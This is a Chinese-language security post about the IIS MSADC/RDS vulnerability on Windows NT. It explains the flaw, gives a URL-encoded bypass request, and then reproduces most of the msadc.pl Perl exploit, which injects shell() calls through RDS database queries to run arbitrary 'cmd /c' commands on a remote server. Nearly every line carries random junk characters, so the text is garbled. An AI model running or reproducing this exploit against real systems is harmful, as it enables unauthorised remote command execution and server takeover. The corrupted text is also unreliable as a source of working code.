IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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涉及程序:
#3m7`}c Microsoft NT server
:k*3?*'K #>/stU- 描述:
m^rrbU+HM? 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~\~K,v iYHCa } 详细:
F;@A2WD 如果你没有时间读详细内容的话,就删除:
6V@?/B c:\Program Files\Common Files\System\Msadc\msadcs.dll
uEPdL':}2 有关的安全问题就没有了。
z'+k]N9Q^ eED@Z/~6 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Kc[Y .CH #(KE9h% 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
_YM]U`* 关于利用ODBC远程漏洞的描述,请参看:
;YK{[$F
>'GQB http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7w]NG`7 -w#Hy>E 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
?c!W*`yP http://www.microsoft.com/security/bulletins/MS99-025faq.asp ttaYtV]] NEG&zf 这里不再论述。
CF?TW 31@m36? X 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
uY~xHV_- IR<`OA /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
3S_H hvB 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
F;,LY:s|Z nB+ e2e& OG&X7>'3I{ #将下面这段保存为txt文件,然后: "perl -x 文件名"
qIIl,!&}A +@c-:\K% #!perl
DoYzTSWx #
yA#-}Y|]b # MSADC/RDS 'usage' (aka exploit) script
>
l@o\ #
6%&RDrn # by rain.forest.puppy
U;Ne"Jh #
%ut7T!Jp # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Q|`sYm'. # beta test and find errors!
;0!rq^JG {_{&t>s2 use Socket; use Getopt::Std;
cqyrao3; getopts("e:vd:h:XR", \%args);
)(&WhZc Z yj+HU5L4 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
9WH )]?"H if (!defined $args{h} && !defined $args{R}) {
)K+Tvx3(m print qq~
(VxWa#P Usage: msadc.pl -h <host> { -d <delay> -X -v }
7Vd"AVn}g -h <host> = host you want to scan (ip or domain)
*`HE$k! -d <seconds> = delay between calls, default 1 second
"7T9d) -X = dump Index Server path table, if available
TT0~41&l -v = verbose
1-=zSWmyK -e = external dictionary file for step 5
edW:(19} Z}
8m]I Or a -R will resume a command session
<RMrp@[ 5yhfCe m| ~; exit;}
ETA 1\ ?H.7
WtTC $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
HAi'0%" if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
C"We>! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
l$s8O0-'T if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
F/qx2E$*wo $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
z'FJx2 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Apfs&{Uy
Qs^RhF\d if (!defined $args{R}){ $ret = &has_msadc;
X!w&ib- die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
wv eej@zs 32N*E, print "Please type the NT commandline you want to run (cmd /c assumed):\n"
GGY WvGE+ . "cmd /c ";
*A,h^ $in=<STDIN>; chomp $in;
nd 5w|83 $command="cmd /c " . $in ;
!AGjiP$ 50S >`qi2x if (defined $args{R}) {&load; exit;}
{U,q!<@mq u=5~^ 9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%Z"I=;=nxI &try_btcustmr;
+$YluGEJ #(5hV7i print "\nStep 2: Trying to make our own DSN...";
u\JYxNj1 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
e I 6G qrj:H4#VB print "\nStep 3: Trying known DSNs...";
%z_PEqRj &known_dsn;
fs=W(~" -0{"QhdE% print "\nStep 4: Trying known .mdbs...";
j(;o &known_mdb;
a_pNFe \2K_"5 if (defined $args{e}){
*{y/ wgX print "\nStep 5: Trying dictionary of DSN names...";
>J \} &!8, &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
PJCRvs|X
V_SZp8 print "Sorry Charley...maybe next time?\n";
jd&kak exit;
$g?`yE(K ?1f(@ ##############################################################################
7|"gMw/ Of*z9YI sub sendraw { # ripped and modded from whisker
uH 6QK\ sleep($delay); # it's a DoS on the server! At least on mine...
0PK*ULwSN my ($pstr)=@_;
UqP %S$9 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%e@Jc3 die("Socket problems\n");
d4h,
+OU if(connect(S,pack "SnA4x8",2,80,$target)){
t&r-;sH^[ select(S); $|=1;
zuR F6?un print $pstr; my @in=<S>;
m),3J4(q select(STDOUT); close(S);
BAq@ H8*B return @in;
$YmD; } else { die("Can't connect...\n"); }}
>q:0w{.TU ^E5[~C*o3 ##############################################################################
`;@#yyj:_ <]u~;e57 sub make_header { # make the HTTP request
jtMN )TM my $msadc=<<EOT
Qo!/n`19 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
wuv2bd )+ User-Agent: ACTIVEDATA
Iaq7<$XU Host: $ip
k lRS:\dW Content-Length: $clen
+{$NN Connection: Keep-Alive
d `z),A= &s|&cT ADCClientVersion:01.06
.[Z<r> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Felu`@b \eD{bD --!ADM!ROX!YOUR!WORLD!
oWZbfR9R Content-Type: application/x-varg
483BrFV Content-Length: $reqlen
\9*,[mvC gUoL8~ EOT
j&G*$/lTO6 ; $msadc=~s/\n/\r\n/g;
5df~] -=0Y return $msadc;}
{~"&$DY2 w2!5Cb2 ##############################################################################
03iD(,@ vsjl8L sub make_req { # make the RDS request
RaS7IL:e my ($switch, $p1, $p2)=@_;
)V}u}5 my $req=""; my $t1, $t2, $query, $dsn;
uKI2KWU?2 .H,wdzg) if ($switch==1){ # this is the btcustmr.mdb query
`XwFH#_ $query="Select * from Customers where City=" . make_shell();
KT)A{i $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
S
z3@h" $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
FQbF)K~e 6S;-fj elsif ($switch==2){ # this is general make table query
f$lf(brQ: $query="create table AZZ (B int, C varchar(10))";
X676*;:!. $dsn="$p1";}
qc*z`Wz: }}";)}C` elsif ($switch==3){ # this is general exploit table query
PKT/U^2X] $query="select * from AZZ where C=" . make_shell();
(W7cQ> $dsn="$p1";}
$)5F3a| L{hP&8$k elsif ($switch==4){ # attempt to hork file info from index server
K%) K$/A $query="select path from scope()";
_?M71>3$. $dsn="Provider=MSIDXS;";}
s
uT#k3 +v 9@du elsif ($switch==5){ # bad query
'g8~ uP $query="select";
(z}q6Lfa $dsn="$p1";}
~*|0yPFg >f [Lb|t $t1= make_unicode($query);
)"im|9 $t2= make_unicode($dsn);
L}bS"=B[&W $req = "\x02\x00\x03\x00";
? jywW$ $req.= "\x08\x00" . pack ("S1", length($t1));
!+?,y/*5( $req.= "\x00\x00" . $t1 ;
,FvBZ.4c3= $req.= "\x08\x00" . pack ("S1", length($t2));
:
kVEB<G $req.= "\x00\x00" . $t2 ;
AXV+8$ :R $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\BT 8-} return $req;}
ZiBTe,; K<HF!YU#I2 ##############################################################################
\X5>HPB Nw`}iR0i sub make_shell { # this makes the shell() statement
: QK )Ym return "'|shell(\"$command\")|'";}
qwlIz/j }c>[m,lz ##############################################################################
D\~*| J RcUKe, sub make_unicode { # quick little function to convert to unicode
-q9`Btz my ($in)=@_; my $out;
`ySmzp for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
C F2*W).+ return $out;}
nVqFCBB -r9G5Z!|n ##############################################################################
x0ZEVa0`4 p{knQ], sub rdo_success { # checks for RDO return success (this is kludge)
Rc2| o.'y my (@in) = @_; my $base=content_start(@in);
w l.#{@J]< if($in[$base]=~/multipart\/mixed/){
RCED
K\*m return 1 if( $in[$base+10]=~/^\x09\x00/ );}
L:HJ: return 0;}
0jY#,t?> 2;@#i*\Y ##############################################################################
7l"N%e JzA`*X[ sub make_dsn { # this makes a DSN for us
4}:a"1P" my @drives=("c","d","e","f");
t_@xzt10y print "\nMaking DSN: ";
_ri1RK, foreach $drive (@drives) {
1LTl=tS# print "$drive: ";
;~Eb Q my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
J1I"H<}-6 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
.6Swc? . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
V 0Ul` $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
VXforI return 0 if $2 eq "404"; # not found/doesn't exist
=W1`FbR if($2 eq "200") {
3lc'(ts% foreach $line (@results) {
xU/Eu;m return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]| oh1q } return 0;}
[TiOh' 5gP#V
K ##############################################################################
`nA_WS a9=,P sub verify_exists {
r2A(GUz my ($page)=@_;
m2[q*k]AtS my @results=sendraw("GET $page HTTP/1.0\n\n");
73?ZB+\)0A return $results[0];}
^
q]BCOfJ( GWZ0!V ##############################################################################
jHPJk8@y
#/'5N|? sub try_btcustmr {
)Yvf9dl my @drives=("c","d","e","f");
ar.w'z my @dirs=("winnt","winnt35","winnt351","win","windows");
7dl]f#uZU JV|GEn\@N foreach $dir (@dirs) {
&(h~{ print "$dir -> "; # fun status so you can see progress
"R-1G/ foreach $drive (@drives) {
yBKkx@o#z print "$drive: "; # ditto
FyN@mX $reqlen=length( make_req(1,$drive,$dir) ) - 28;
*bu/Ko] $reqlenlen=length( "$reqlen" );
0Zkb}F2- $clen= 206 + $reqlenlen + $reqlen;
~8AcW?4Z K9co_n_L my @results=sendraw(make_header() . make_req(1,$drive,$dir));
gTRm if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
B JDe1W3;' else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
9.R)iA @; ayl ##############################################################################
w=Xil (KaP=t} sub odbc_error {
WAlsh my (@in)=@_; my $base;
oXG,8NOdC my $base = content_start(@in);
+Ok R7bl if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7MreBs(M $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
vKppXm1 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1bb~u/jU $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:.B};;N return $in[$base+4].$in[$base+5].$in[$base+6];}
]qCAog print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
U@v=q9'W print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
y?W8FL $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
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